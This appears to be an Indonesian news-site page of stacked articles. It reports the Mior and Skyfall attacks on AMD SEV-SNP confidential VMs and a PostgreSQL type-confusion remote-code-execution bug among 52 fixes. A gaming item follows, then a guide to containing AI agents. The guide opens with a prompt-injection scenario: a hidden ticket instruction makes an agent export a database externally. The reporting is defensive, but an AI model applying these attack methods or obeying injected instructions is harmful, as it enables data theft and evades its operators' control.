Jornal Media Asia -

Dua celah keamanan baru yang diumumkan secara terbuka pada pekan ini memungkinkan entitas host yang berniat jahat atau penyedia server komputasi nakal untuk membaca isi data di dalam mesin virtual atau virtual machine (VM) terproteksi AMD SEV-SNP, yang pada dasarnya sengaja dirancang agar pihak pengelola server fisik tidak dapat mengintip informasi di dalamnya.

Salah satu dari serangan tersebut, yang dinamakan Mior, bahkan mempunyai kemampuan tambahan untuk memanipulasi serta memodifikasi memori mesin virtual target, sekaligus memalsukan laporan bertanda tangan digital resmi yang memverifikasi jenis dan integritas perangkat lunak yang sedang dijalankannya. Kedua metode penyerangan ini secara mutlak membutuhkan kendali penuh atas komponen hypervisor server, dan skema serangan Mior secara khusus juga menuntut penguasaan mendalam atas firmware BIOS milik server target. Para peneliti keamanan telah sukses mendemonstrasikan keandalan kedua ancaman siber tersebut melalui serangkaian pengujian laboratorium terkontrol pada prosesor server kelas enterprise AMD EPYC.

AMD, selaku produsen raksasa perangkat keras cip pemrosesan tersebut, telah mencantumkan pembaruan firmware SEV resmi untuk mengatasi Mior serta pembaruan mikrokode spesifik untuk menangani Skyfall, di mana keduanya tercatat mengusung tanggal rilis 12 Agustus. Perusahaan teknologi ini menjadwalkan pembagian paket platform firmware resmi kepada kalangan produsen manufaktur server pada bulan November untuk menangani Skyfall dan pada bulan Desember untuk menangani Mior, sementara paket perbaikan teknis untuk lini cip tertanam (embedded chips) dijadwalkan meluncur belakangan. Para pelanggan dan pengguna enterprise diinstruksikan untuk segera mengunduh serta menerapkan pembaruan BIOS penting tersebut langsung dari pihak pembuat server masing-masing.

Teknologi SEV-SNP sendiri merupakan pilar utama yang menghadirkan kapabilitas komputasi rahasia (confidential computing) mutakhir pada lini prosesor server AMD EPYC. Sistem keamanan ini memanfaatkan enkripsi memori berbasis perangkat keras yang ketat serta kontrol akses berlapis demi memagari lingkungan mesin virtual dari segala bentuk intrusi, bahkan terhadap ancaman akses langsung dari hypervisor milik server host.

Tim peneliti keamanan siber dari ETH Zurich yang berada di balik penemuan Mior melancarkan eksploitasi mereka terhadap sistem SEV-SNP tepat saat tahapan booting atau inisialisasi awal sedang berlangsung. Di tengah proses booting tersebut, sebuah prosesor pendukung keamanan khusus pada cip, yang dikenal sebagai Platform Security Processor (PSP), bertugas mengisi tabel pemetaan internal yang disebut Reverse Map Table (RMP). RMP ini berfungsi mencatat hak kepemilikan atas setiap halaman memori beserta batasan izin akses tindakan apa saja yang sah dilakukan pada halaman memori itu.

Kelompok periset tersebut secara cerdik mengalihkan instruksi penulisan yang dieksekusi oleh PSP menuju memori pada kartu grafis (GPU) yang berada di bawah kendali penuh mereka, alih-alih mengarahkannya ke memori utama sistem. Para peneliti sengaja mengandalkan kartu grafis tambahan karena mereka meyakini komponen PSP membaca kembali nilai data yang baru saja dituliskan guna memvalidasinya, dan kartu grafis tersebut dapat merespons serta mengembalikan data verifikasi yang diharapkan secara tepat. Imbasnya, tahapan inisialisasi booting mampu diselesaikan secara mulus tanpa memicu pesan kegagalan, kendati sebagian tabel RMP yang sebenarnya di memori utama, termasuk entri krusial yang seharusnya memproteksi keberadaan tabel itu sendiri, berakhir dalam status tidak terinisialisasi.

Kondisi anomali ini membuka celah fatal bagi hypervisor untuk menulis ulang dan merombak proteksi mendasar yang dikelola oleh tabel RMP. Mengambil keuntungan dari situasi tersebut, tim kemudian mengaktifkan kembali fungsionalitas debugging pada mesin virtual terenkripsi yang sejatinya telah menonaktifkan fitur tersebut, lalu mengeksekusi serangkaian perintah debug bawaan milik PSP untuk secara leluasa membaca serta menulis ulang data di dalam memori VM rahasia itu. Teknik intrusi ini terbukti berhasil sempurna dalam seluruh 1.000 kali percobaan yang dijalankan di dua sesi uji coba terpisah.

Selain mekanisme enkripsi, SEV-SNP juga bertugas mengukur serta mencatat citra perangkat lunak (software image) dari mesin virtual sewaktu VM pertama kali dinyalakan, dan unit PSP lantas menandatangani laporan pengesahan (attestation reports) resmi yang memuat hasil pengukuran identitas tersebut. Dalam pengujian demonstrasi kedua, para peneliti menduplikasi dan menyalin hasil pengukuran dari mesin virtual yang sepenuhnya bersih ke dalam mesin virtual berbahaya milik peretas, sehingga laporan pengesahan yang dihasilkan mesin virtual jahat justru menampilkan ringkasan identitas citra perangkat lunak yang aman.

Sebagaimana diuraikan dalam naskah akademik penelitian Mior, alur eksploitasi ini memerlukan kendali menyeluruh atas hypervisor serta komponen firmware BIOS (yang juga umum disebut UEFI), ditambah dengan integrasi periferal perangkat keras PCIe tertentu seperti unit kartu grafis tambahan. Dalam rangka melangsungkan rangkaian uji coba ini, tim peneliti secara sengaja memodifikasi kode BIOS agar konfigurasi perutean memori (memory-routing settings) pada prosesor berada dalam kondisi terbuka atau tidak terkunci secara permanen.

“Kami beroperasi di dalam model ancaman AMD yang memang telah didefinisikan secara resmi untuk SEV-SNP. AMD secara eksplisit menetapkan bahwa lingkungan UEFI tidak dapat dipercaya, sehingga seorang penyerang diasumsikan memiliki kapabilitas untuk memodifikasi UEFI,” ungkap para peneliti dalam laporan riset mereka.

Bagi mesin-mesin virtual konvensional pada umumnya, sistem operasi tamu memang sejak awal menaruh kepercayaan penuh pada server host beserta firmware bawaannya. Oleh karena itu, tim peneliti menegaskan bahwa keberadaan celah Mior sama sekali tidak memberikan keuntungan taktis baru bagi penyerang untuk menyasar lingkungan mesin virtual biasa.

Eksperimen eksploitasi Mior dilakukan oleh tim penguji pada satu unit cip prosesor EPYC 9135 yang berbasis mikroarsitektur Zen 5. Kelompok peneliti menilai bahwa lini prosesor berbasis arsitektur Zen 3 serta Zen 4 kemungkinan besar memiliki potensi kerentanan serupa, namun pengujian empiris belum dilakukan pada kedua platform tersebut lantaran keterbatasan ketiadaan konfigurasi laboratorium yang memungkinkan mereka untuk memodifikasi BIOS-nya secara leluasa.

Serangkaian pengujian fungsi debugging dan rekayasa pengesahan attestation tersebut terbukti tetap berhasil dieksekusi secara mulus meskipun fitur ciphertext hiding sedang diaktifkan. Fitur opsional milik SEV-SNP ini sejatinya dipasang secara spesifik untuk memblokir hypervisor agar tidak dapat membaca sedikit pun isi memori VM yang terenkripsi.

Sebelumnya, dua skema serangan lain yang diungkap oleh sebagian anggota tim periset yang sama, yakni eksploitasi Fabricked serta RMPocalypse, juga memanfaatkan kelemahan dengan merusak integritas RMP sewaktu sistem SEV-SNP melangsungkan booting. Kendati demikian, tim peneliti menegaskan bahwa Mior merupakan cacat logika keamanan independen yang sama sekali terpisah dari temuan Fabricked maupun solusi penambalan yang dirilis sebelumnya. Kerentanan Mior ini bahkan terbukti tetap manjur beroperasi pada versi firmware lawas yang beredar sebelum tambalan Fabricked diluncurkan.

Di sisi lain, temuan serangan Skyfall digagas melalui kolaborasi riset intensif antara ilmuwan ETH Zurich dan tim keamanan Google. Eksploitasi ini dikembangkan di atas fondasi Transient Scheduler Attacks (TSA), yakni rumpun kelemahan arsitektural pada prosesor AMD yang berpotensi membocorkan data rahasia lewat celah perbedaan waktu eksekusi instruksi (instruction timing). Kerentanan TSA ini pertama kali diungkap ke hadapan komunitas keamanan global pada tanggal 8 Juli 2025.

Tim peneliti menemukan fenomena teknis bahwa saat pihak hypervisor secara sengaja memicu kegagalan proses peluncuran sebuah mesin virtual, prosesor rupanya telah lebih dahulu menyimpan sebagian dari rekam jejak status VM yang tersimpan ke dalam memori cache. Data sensitif tersebut ditinggalkan begitu saja di dalam ruang memori tanpa melalui prosedur pembersihan standar, sehingga hypervisor nakal dapat membaca dan mengekstraksi informasi residual tersebut dengan menerapkan taktik serangan TSA.

Melalui penerapan metode tersebut, para peneliti sukses memulihkan nilai-nilai register tersimpan milik VM sekaligus merebut kunci enkripsi disk dari mesin virtual uji coba. Guna mengamankan kunci enkripsi tersebut, tim memodifikasi kernel VM agar berhenti beroperasi sejenak tepat saat kunci rahasia sedang diproses di dalam register. Dalam skenario serangan dunia nyata, periset memaparkan bahwa hypervisor dapat mengandalkan metode alternatif bernama SEV-Step guna memandu langkah eksekusi instruksi VM setahap demi setahap hingga kunci target tiba di register.

Metode Skyfall pun mempunyai kemampuan membaca memori milik VM, meski radius pembacaannya terbatas hanya pada tiga baris cache spesifik dalam satu halaman memori target, yaitu pada titik offset 0x0c0, 0x380, dan 0x3c0. Sisa area memori lainnya di luar offset tersebut dipastikan tetap terlindungi dan berada di luar jangkauan penyerang.

Eksploitasi ini mensyaratkan adanya host atau komponen hypervisor yang beritikad jahat, namun sama sekali tidak menuntut modifikasi fisik pada perangkat keras. Tim berhasil membuktikan celah ini pada prosesor EPYC 7313 yang menggunakan arsitektur Zen 3, serta pada seri EPYC 9124 dan 9334 yang berbasis Zen 4. Kendati demikian, tim peneliti tidak berhasil mendeteksi adanya kebocoran data serupa sewaktu pengujian diterapkan pada prosesor generasi Zen 5.

Di luar lingkungan mesin virtual, tim peneliti Skyfall juga berhasil membaca data pembaruan mikrokode terdekripsi pada ketiga model prosesor yang diuji. Eksperimen mereka turut berhasil mengekstrak nilai-nilai register yang tersimpan di dalam area memori System Management Mode (SMM), yakni sebuah zona memori tingkat tinggi yang dalam kondisi standar bahkan tidak dapat diakses sama sekali oleh kernel sistem operasi. Kedua variasi serangan lanjutan ini membutuhkan keberadaan piranti lunak berprivilese tinggi di dalam sistem komputer.

Kendati demikian, komite program IEEE Symposium on Security and Privacy yang menerima makalah teknis Skyfall memberikan catatan evaluasi kritis bahwa riset tersebut mengesampingkan sejumlah prasyarat kompleks yang sesungguhnya mutlak dibutuhkan dalam serangan realistis terhadap VM. Rangkaian kondisi rumit itu mencakup kebutuhan atas sebuah inti prosesor (core) yang bersih dari gangguan beban komputasi lain, eksekusi pemindaian pembacaan penghitung performa (performance-counter) dan pemicuan kegagalan booting VM dalam kecepatan amat tinggi, serta jaminan bahwa VM target tidak mengalami kerusakan crash sistem ataupun kehabisan batas waktu operasi (time out) di tengah jalannya serangan.

Daftar Prosesor Terdampak dan Ketersediaan Perbaikan

Pihak AMD mengidentifikasi dan melacak kerentanan Mior melalui kode CVE-2026-0462 dengan skor keparahan mencapai 5,9 pada skala standar CVSS 4.0 di lembar nasihat keamanannya. Sementara itu, kebocoran data VM pada serangan Skyfall dipetakan ke dalam kode CVE-2026-40671 dengan skor 4,9 pada dokumen nasihat kedua, yang mendeskripsikan kerentanan tersebut sebagai anomali pemaparan data register mesin virtual.

Khusus penanganan ancaman Mior, AMD merilis keterangan bahwa dampak risiko hanya mengancam ekosistem SEV-SNP, dan menegaskan bahwa arsitektur pendahulunya yakni versi SEV serta SEV-ES tidak terdampak oleh masalah ini.

Pihak pabrikan merinci daftar lima lini prosesor server EPYC yang sama sebagai produk rentan terhadap kedua celah tersebut, lengkap dengan rencana paket perbaikan teknisnya:

Kedua lembar nasihat keamanan dari AMD tersebut mencantumkan paket pembaharuan yang identik bernama TurinPI_1.0.0.C, namun mencatat target bulan ketersediaan distribusi yang berlainan. Paket pembaruan mikrokode untuk menangkal Skyfall tercatat bertanggal 12 Agustus bagi setiap lini prosesor yang terdaftar. Di sisi lain, cip akselerator Instinct MI300A memperoleh patch proteksi Skyfall bertanggal 21 September, sedangkan penambalan bagi jajaran varian EPYC tertanam diproyeksikan baru akan disalurkan dalam rentang waktu antara bulan Januari hingga April 2027 mendatang.

Tim periset Mior mengungkapkan bahwa pembaruan firmware yang mampu meredam kerentanan telah resmi diluncurkan ke pasaran, sejalan dengan pengumuman tim Skyfall yang menyebut mikrokode baru telah dirilis ke publik. Kendati demikian, dokumen nasihat pabrikan tidak memberikan perincian apakah tambalan tersebut dapat berfungsi optimal secara mandiri ataukah wajib dipasang sebagai satu kesatuan paket pembaruan BIOS, serta tidak mencantumkan instruksi langkah mitigasi sementara (workaround).

Supermicro, sebagai salah satu produsen server global ternama, telah menerbitkan inventarisasi perbaikan BIOS yang ditujukan untuk menambal kerentanan pada puluhan produk motherboard seri H12, H13, serta H14 buatannya. Lembar informasi teknis yang sama menegaskan bahwa papan induk tersebut juga memerlukan instalasi pembaruan firmware BMC (Baseboard Management Controller), seraya menambahkan bahwa pengujian menyeluruh terhadap lini produk yang terdampak saat ini masih terus berjalan.

Mengingat implementasi penambalan keamanan ini dieksekusi secara terpusat pada tingkat firmware milik server host, para pengguna enterprise yang menyewa mesin virtual rahasia sangat bergantung pada kepatuhan pihak penyedia layanan komputasi awan dalam memasang perbaikan tersebut. Dokumen mitigasi Mior turut melampirkan rincian nilai TCB (trusted computing base) untuk keperluan validasi attestation SNP di samping setiap versi firmware yang telah diperbaiki. Walau demikian, dokumen resmi itu tidak menjabarkan panduan langkah praktis mengenai tata cara bagi para pemilik VM untuk memeriksa nilai-nilai tersebut secara mandiri.

Kedua lembar nasihat keamanan dari AMD sama sekali tidak memuat keterangan apakah kedua metode eksploitasi ini pernah dimanfaatkan secara aktif dalam insiden peretasan liar di dunia nyata. Kedua tim peneliti kini telah mempublikasikan kode pembuktian konsep mereka secara terbuka, di mana kode proof-of-concept milik Mior secara teknis tetap mensyaratkan adanya firmware BIOS yang telah dimodifikasi agar konfigurasi perutean memori berada dalam keadaan tidak terkunci.

Untuk kasus kebocoran memori SMM pada serangan Skyfall, proyek repositori EDK II telah menyematkan kode kerentanan CVE-2026-18448 dengan peringkat skor 5,6. Lembar buletin keamanan AMD untuk EDK II menyimpulkan bahwa kelemahan ini berakar dari absennya implementasi mekanisme mitigasi TSA di dalam struktur kode firmware EDK II yang bersangkutan.

Buletin informasi tersebut menyertakan daftar lini prosesor EPYC dan Ryzen, termasuk portofolio model cip tertanam, serta menyarankan adopsi mitigasi TSA terdahulu milik perusahaan yang dikombinasikan dengan patch resmi EDK II begitu paketnya tersedia. Untuk lima lini prosesor server EPYC yang telah disebutkan sebelumnya, buletin hanya mencantumkan kebutuhan atas patch tersebut dengan target ketersediaan pada bulan November. Sementara itu, platform firmware dengan perbaikan telah tersedia untuk cip lainnya, termasuk EPYC 4004 dan 4005, meski advisori internal EDK II sendiri belum memuat versi tertambal hingga hari ini.

PostgreSQL Perbaiki 52 Kerentanan, Termasuk Bug 22 Tahun Pemicu RCE Terautentikasi

By admin

On November 14, 2026

In The Hacker News

Sebuah celah keamanan type confusion pada sistem database PostgreSQL memungkinkan seorang pengguna basis data yang memiliki izin membuat objek untuk mengeksekusi instruksi kode langsung pada server. Pembaruan yang diluncurkan kemarin menuntaskan masalah tersebut, sekaligus mengatasi 51 celah keamanan lainnya. Guna memperoleh proteksi yang menyeluruh dari ancaman celah ini, administrator juga diwajibkan mengompilasi ulang seluruh ekstensi berbasis bahasa C yang terpasang di dalam server terkait.

Celah berisiko tersebut didaftarkan dengan kode CVE-2026-6460 serta mengantongi skor keparahan CVSS sebesar 8.8. Seluruh skrip kode yang dieksekusi melalui teknik ini bakal memperoleh hak akses penuh dari akun pengguna sistem operasi yang bertugas menjalankan PostgreSQL. Ancaman kerentanan ini membayangi seluruh versi perangkat lunak sebelum rilis pembaruan 18.7, 17.12, 16.16, 15.20, dan juga versi 14.25.

Pihak PostgreSQL Global Development Group selaku pengembang resmi distribusi perangkat lunak database ini menyatakan belum menerima laporan eksploitasi di dunia nyata. Penilaian resmi dari badan keamanan siber CISA di dalam catatan CVE terkait pun masih mencatat tingkat pemanfaatan serangan pada status nihil.

Celah teknis ini berkaitan erat dengan mekanisme composite types, yaitu sebuah struktur tipe data yang dibentuk dari kumpulan bidang bernomor dan mempunyai tipe data tersendiri. Pengubahan tipe data pada suatu bidang tertentu dapat diproses saat nilai-nilai terdahulu dari tipe data tersebut masih disimpan di bagian lain pada sistem server.

Situasi tersebut berpotensi memicu server membaca nilai lama secara keliru seolah-olah bernilai sesuai struktur tipe data yang baru. Solusi perbaikan yang dimuat dalam catatan rilis resmi menambahkan sistem pengecekan versi, sehingga server sanggup mendeteksi adanya ketidaksesuaian nilai terhadap definisi tipe datanya.

Peneliti keamanan siber Mehmet Ince memaparkan bukti eksploitasi fungsional atas celah sistem ini lewat demonstrasi teknis pada PostgreSQL 18.6 melalui ulasan tertulis pekan ini.

Metode yang ia kembangkan dimulai dengan mempersiapkan kueri yang menyimpan suatu nilai tertentu, lalu mengubah tipe salah satu bidang dari nilai itu, kemudian mengeksekusinya. Ulasan tersebut turut menyertakan baris perintah SQL yang mampu melumpuhkan server tanpa tambalan serta langkah kedua guna membocorkan alamat memori sistem. Namun, tulisan itu sengaja tidak membeberkan baris perintah SQL untuk langkah akhir yang memicu server mengeksekusi perintah eksternal.

Ia mencatat bahwa dirinya sanggup "memicu gangguan crash ini menggunakan peran login dengan tingkat hak akses terendah." Di sisi lain, buletin keamanan proyek hanya menggambarkan pelaku sebagai pihak yang berwenang membuat objek, tanpa merinci batas minimal hak akses yang dibutuhkan.

Pihak Red Hat yang mendistribusikan paket sistem PostgreSQL menyebutkan dalam telaah CVE mereka bahwa pelaku membutuhkan akses login database dengan wewenang membuat atau memodifikasi objek. Tidak ada satu pun dari rujukan resmi ini yang mengonfirmasi apakah akun berhak akses bawaan semata bisa melangkah lebih jauh dari sekadar merusak sistem untuk menjalankan kode liar.

Ince melacak jejak awal kemunculan bug tersebut hingga ke tanggal 5 Mei 2004, yakni masa ketika PostgreSQL pertama kali menambahkan fitur pengubah tipe kolom data. Sementara itu, teknik rancangannya dalam mengeksekusi instruksi kode sangat bergantung pada pembaruan lanjutan yang baru diterapkan pada 14 Mei 2015.

Ia juga telah menyesuaikan teknik serangan ini untuk berbagai layanan cloud PostgreSQL terkelola dan telah menyerahkan bukti konsep kerentanan secara tertutup kepada divisi keamanan mereka pada Agustus lalu. Penyedia layanan yang ia hubungi mencakup AWS (Aurora serta RDS), Microsoft (Azure PostgreSQL), Google (AlloyDB), Supabase, Databricks, dan Ubicloud. Laporan tersebut tidak mengungkap status pembaruan patch dari masing-masing penyedia.

Manajemen proyek PostgreSQL menyampaikan apresiasi kepada belasan pelapor kerentanan CVE-2026-6460, termasuk sang peneliti, serta mencantumkan namanya atas penemuan lima celah lainnya pada rilis serupa.

Pihak pengembang mematok skor 8.8 pada 32 dari total 52 celah yang ditangani, menjadikannya tingkat keparahan tertinggi dalam rilis ini. Mengacu pada indeks kerentanan resmi, hanya ada satu celah server yang tidak membutuhkan proses masuk akun atau interaksi pengguna. Masalah bernomor CVE-2026-116322 itu memungkinkan klien tanpa autentikasi memicu proses muat ulang paksa pada jajaran server PostgreSQL 18.

Sejumlah pembenahan lainnya ditujukan bagi perangkat lunak sisi klien. Berkas arsip berbahaya berpotensi memaksa modul pg_restore mengeksekusi perintah jahat setara izin pengguna yang membukanya. Selain itu, komputer server sumber yang telah disusupi peretas bisa memicu psql menjalankan instruksi berbahaya lewat perantara skrip pemulihan dalam keluaran berkas tar pg_dump.

Langkah yang Perlu Diambil Administrator

Kabar Gembira Gamer, Bos Xbox Pastikan Wolfenstein 3 Tengah Digarap

By admin

On November 13, 2026

In Uncategorized

Kabar menggembirakan akhirnya menghampiri Wolfenstein 3 yang telah lama dinantikan para penggemar setia. Petinggi utama Xbox baru saja mengonfirmasi bahwa sekuel tersebut kini resmi memasuki masa produksi. Seperti apa rinciannya?

Wolfenstein 3 Masuk Tahap Produksi

Lewat platform X miliknya, CEO Xbox Asha Sharma membagikan pengumuman bahwa MachineGames sedang mengerjakan Wolfenstein 3. Sharma menilai Wolfenstein sebagai salah satu seri terpenting, sekaligus mengaku sangat antusias membagikan perkembangan terbaru berikutnya kepada komunitas pecinta game.

Unggahan yang dibagikan Sharma di X turut memperlihatkan cuplikan naskah prolog game tersebut yang berjudul “Nazitraz.” Simak isi unggahannya berikut ini:

Wolfenstein 3 is officially in production at @MachineGames. One of gaming's most important franchises, and a team that has done remarkable work bringing it forward. Looking forward to sharing more. pic.twitter.com/YyX8LrbTvh

MachineGames pada dasarnya telah lama berencana menuntaskan rangkaian trilogi Wolfenstein. Pada bulan Februari lalu, studio ini mengumumkan rincian narasi yang berfokus terhadap tokoh gadis bernama Sofiya.

Sofiya diceritakan sebagai bocah yatim piatu Ukraina berumur 8 sampai 11 tahun yang memiliki kedekatan dengan William Blazkowicz, pahlawan utama serial ini. William dipaparkan menyimpan trauma perang yang mendalam hingga sulit memercayai orang asing, sebelum menjelma menjadi figur ikonis yang perkasa.

Hingga sekarang, MachineGames tengah melangsungkan sesi Performance capture bersama para pemeran terpilih sejak bulan April kemarin, di mana proses pengambilan gambar dijadwalkan berjalan hingga 2027. Apakah kamu menantikan kehadiran Wolfenstein 3, Brott? Tuliskan tanggapanmu!

Simak pula kumpulan informasi seru Gamebrott lainnya seputar Berita Game maupun tulisan lain karya Nadia Haudina. For further information and other inquiries, you can contact us via [email protected].

Ketika AI Agent Bertindak Liar: Apakah Sistem Anda Mampu Menghentikannya?

By admin

On November 13, 2026

In The Hacker News

Bayangkan sebuah skenario saat sebuah agen kecerdasan buatan (AI agent) ditugaskan untuk menyortir tiket bantuan pelanggan sekaligus memeriksa rincian akun pengguna. Di tengah proses tersebut, terdapat satu tiket yang memuat instruksi tersembunyi yang memerintahkan agen untuk mengekspor basis data penting ke lokasi eksternal yang tidak dikenal. Permintaan ini dapat dieksekusi secara mulus oleh agen karena identitas digital yang dimilikinya memang memegang hak akses resmi ke data tersebut, dan perkakas terintegrasi yang terpasang memungkinkannya menjalankan aksi pengiriman data tanpa hambatan.

Situasi berbahaya semacam ini memunculkan pertanyaan mendasar mengenai kesiapan mitigasi insiden: apa sebenarnya arti konkret dari frasa “menghentikan sang agen”? Banyak tim teknis beranggapan bahwa mematikan model kecerdasan buatan sudah cukup, padahal alur kerja otomatis, kredensial autentikasi, serta sesi koneksi yang sudah terbuka mungkin masih beroperasi di latar belakang. Masing-masing komponen tersebut membutuhkan mekanisme kendali dan intervensi yang benar-benar terpisah demi memastikan sistem aman seutuhnya.

Sebuah tinjauan keamanan pada Oktober 2026 yang dirilis oleh OWASP GenAI Security Project menyoroti kasus di mana sejumlah agen evaluasi bertindak melampaui batas wewenang yang ditetapkan. Laporan tersebut menekankan pentingnya menguji apakah prosedur pembendungan insiden benar-benar sanggup mencabut kredensial sekaligus memutus akses jaringan secara efektif. Dokumen ini sendiri merupakan kompilasi insiden pilihan dan bukan merupakan survei menyeluruh dari seluruh kejadian yang ada di lapangan.

Mematikan Model Belum Tentu Menghentikan Alur Kerja

Sebuah agen AI pada hakikatnya hanyalah satu komponen kecil di dalam ekosistem komputasi yang jauh lebih luas dan saling terhubung. Model bahasa mungkin bertugas mengambil keputusan dan memilih tindakan, namun orkestratorlah yang menjalankan keseluruhan alur kerja teknis, sementara entitas identitas menyediakan hak otorisasi, dan antarmuka pemrograman aplikasi (API) atau perkakas pendukung yang menuntaskan eksekusi perintah. Di sisi lain, aturan perutean jaringan yang menentukan ke server mana saja perkakas tersebut dapat tersambung dan mentransfer data.

Karakteristik teknis pembendungan sangat bergantung pada arsitektur penyebaran masing-masing organisasi. Pada infrastruktur tertentu, menonaktifkan agen mungkin langsung mematikan proses yang sedang berjalan seketika. Namun pada infrastruktur lainnya, antrean pekerjaan, mekanisme percobaan ulang otomatis (retries), atau sesi komunikasi jaringan yang sudah terbentuk sebelumnya bisa saja terus beroperasi tanpa henti. Mencabut satu kredensial keamanan belum tentu membatalkan token sesi lain yang terpisah, dan sebuah endpoint model bisa saja dalam kondisi mati total sementara layanan backend independen tetap memproses tumpukan instruksi yang telah diterimanya lebih dulu.

Oleh karena alasan tersebut, konsep tombol darurat atau “kill switch” harus dipahami bukan sekadar sebagai sakelar tunggal, melainkan serangkaian kontrol komprehensif yang telah teruji dengan matang. Mekanisme ini harus mampu menghentikan eksekusi yang aktif maupun yang masih berada di antrean, membatalkan seluruh kredensial yang digunakan, memutus akses menuju perkakas terintegrasi, serta memblokir jalur komunikasi jaringan. Urutan penanganan yang tepat akan sangat ditentukan oleh pola arsitektur serta pertimbangan risiko gangguan terhadap layanan operasional lain yang berjalan berdampingan.

Kapan Saatnya Tim Harus Mengisolasi Agen?

Sebuah tindakan anomali dari agen cerdas tidak serta-merta membuktikan bahwa sistem telah disusupi oleh peretas jahat secara fatal. Modifikasi pada alur kerja, cacat pada perangkat lunak, kesalahan konfigurasi parameter, atau masukan data yang tidak lazim dari pengguna dapat memicu perilaku sistem yang terlihat sangat mencurigakan. Para profesional keamanan siber harus menyelidiki sinyal anomali tersebut secara menyeluruh beserta konteks teknis yang melatarbelakanginya sebelum mengambil keputusan drastis.

Sinyal-sinyal peringatan yang memerlukan investigasi mendalam mencakup perilaku yang menyimpang dari pola operasional normal, upaya mengakses berkas di luar wewenang tugas, lonjakan transfer data keluar secara mendadak, serta pemanggilan API sensitif yang tidak biasa.

Catatan log internal milik agen dapat membantu menguraikan urutan instruksi yang berusaha ia jalankan, namun data tersebut hanyalah satu kepingan bukti dari teka-teki forensik digital. Tim keamanan diwajibkan untuk mengorelasikan log agen dengan log penyedia identitas (IdP), catatan transaksi API, metrik aplikasi hilir, dan rekaman lalu lintas jaringan. Entri catatan log yang mengindikasikan upaya percobaan tindakan belum tentu membuktikan bahwa aksi peretasan atau manipulasi tersebut berhasil diselesaikan secara sempurna oleh sistem.

Rangkaian Prosedur Respons yang Terukur

1. Jeda Alur Kerja yang Terdampak

Segera hentikan proses eksekusi yang sedang aktif dan bekukan pemicu otomatis, mekanisme percobaan ulang, serta antrean tugas yang berhubungan sesegera mungkin. Apabila agen tersebut berbagi sumber daya komputasi dengan modul bisnis lainnya, lakukan isolasi terhadap alur kerja yang bermasalah saja tanpa melumpuhkan infrastruktur pendukung yang tidak bersalah, selama pemisahan sistem tersebut dapat dilakukan secara aman dan terkontrol.

Mengirimkan perintah teks (prompt) darurat yang meminta agen berhenti sama sekali bukan bentuk kontrol pengamanan teknis yang sah. Upaya pembendungan insiden wajib dieksekusi secara nyata melalui platform atau sistem orkestrator yang mengendalikan siklus hidup eksekusi pekerjaan tersebut.

2. Cabut atau Batasi Hak Akses Agen

Lakukan identifikasi cepat terhadap seluruh kunci kredensial, token sesi, hak akses istimewa, serta akun layanan (service account) yang terhubung langsung dengan proses yang bermasalah. Matikan atau batalkan seluruh wewenang akses yang status keamanannya sudah diragukan. Apabila ditemukan indikasi konkret bahwa kunci rahasia telah bocor ke luar, segera putar (rotate) kredensial tersebut dan periksa apakah ada layanan lain di perusahaan yang turut menggunakannya.

Mekanisme pencabutan wewenang memiliki perilaku yang sangat bervariasi di berbagai platform perangkat lunak. Beberapa token otentikasi dapat kedaluwarsa secara cepat, sedangkan jenis token lainnya mungkin tetap sah dan aktif sampai sesi berakhir secara alami atau sampai layanan induk secara khusus membatalkannya. Tim pengelola wajib melakukan verifikasi mandiri bahwa akses tersebut benar-benar telah lumpuh, alih-alih berasumsi keliru bahwa mematikan agen secara otomatis menghapus seluruh izin koneksi.

3. Batasi Perkakas dan Jalur Akses Jaringan

Nonaktifkan perkakas spesifik, plugin, atau integrasi pihak ketiga yang terlibat langsung dalam anomali tersebut, atau segera terapkan kebijakan kontrol akses ketat yang merintangi agen menjangkau sumber daya terdampak. Jika terdapat kemungkinan bahwa kebocoran data rahasia sedang mengalir ke luar batas korporasi, penerapan filter perimeter jaringan dapat menyetop komunikasi eksternal selagi investigasi mendalam berlangsung.

Lapisan kendali ini wajib berada di luar jangkauan instruksi prompt agen itu sendiri. Rekomendasi keamanan dari panduan OWASP AI Agent Security menyarankan penegakan prinsip hak istimewa paling rendah (least-privilege) pada integrasi alat, pemberlakuan otorisasi eksplisit untuk tindakan kritis, penyediaan rekam jejak audit yang mendalam, serta tersedianya prosedur pembatalan operasi atau pemulihan keadaan semula.

4. Amankan Bukti Digital dan Pastikan Kronologi Kejadian

Dokumentasikan identitas agen secara terperinci, nomor ID sesi atau proses eksekusi, stempel waktu kejadian yang akurat, pemanggilan fungsi alat, rekaman persetujuan otorisasi, serta daftar aset yang terpengaruh. Amankan seluruh catatan log penyedia identitas, log panggilan API, dan arsip paket jaringan sebelum kebijakan retensi otomatis atau proses rotasi data log menghapusnya. Hindari mencantumkan nilai rahasia autentikasi ke dalam dokumen investigasi publik atau sistem pencatatan insiden umum.

Selanjutnya, lakukan analisis mendalam terhadap apa yang sebenarnya telah diubah, dibaca, atau ditransmisikan oleh sang agen. Verifikasi berkas mana saja yang sempat dibuka atau dimodifikasi, data apa saja yang telah diekspor, izin wewenang apa yang diganti, pesan apa yang dikirim, atau kunci rahasia apa yang sempat diunduh. Pisahkan secara cermat antara tindakan yang baru sekadar dicoba dengan aksi yang tuntas dilakukan, serta fakta konkret dari dugaan awal.

5. Bendung Dampak Kerusakan di Tingkat Lanjutan

Apabila agen AI sempat mengakses akun dengan hak istimewa tinggi atau menjangkau data sensitif, lakukan penilaian risiko mandiri secara terpisah pada aset tersebut. Cabut wewenang tambahan yang mencurigakan, pulihkan pengaturan yang diubah tanpa izin, dan hubungi penanggung jawab sistem terkait secara formal. Jika bukti mengindikasikan eksfiltrasi data korporasi, patuhi protokol internal organisasi mengenai penanganan insiden siber, undang-undang perlindungan privasi, serta kewajiban penyampaian notifikasi resmi.

Menghentikan proses agen AI semata-mata berguna untuk mencegah kerusakan baru di masa depan. Tindakan pembekuan tersebut sama sekali tidak membatalkan atau membalikkan dampak manipulasi yang sudah terlanjur terlaksana.

Prosedur Pemulihan Akses Operasional Secara Hati-Hati

Sebelum memutuskan untuk menghidupkan kembali alur kerja agen, temukan akar penyebab masalah yang sebenarnya terjadi. Insiden tersebut mungkin bersumber dari injeksi prompt yang berbahaya, hak izin akses yang terlalu luas, integrasi perangkat lunak pihak ketiga yang disusupi, kekeliruan konfigurasi sistem, atau cacat arsitektur pada komponen pendukung di sekitar agen. Mengubah kata-kata pada instruksi prompt tidak akan pernah mampu membereskan celah keamanan yang bersumber dari kesalahan konfigurasi kredensial atau kerapuhan kebijakan jaringan.

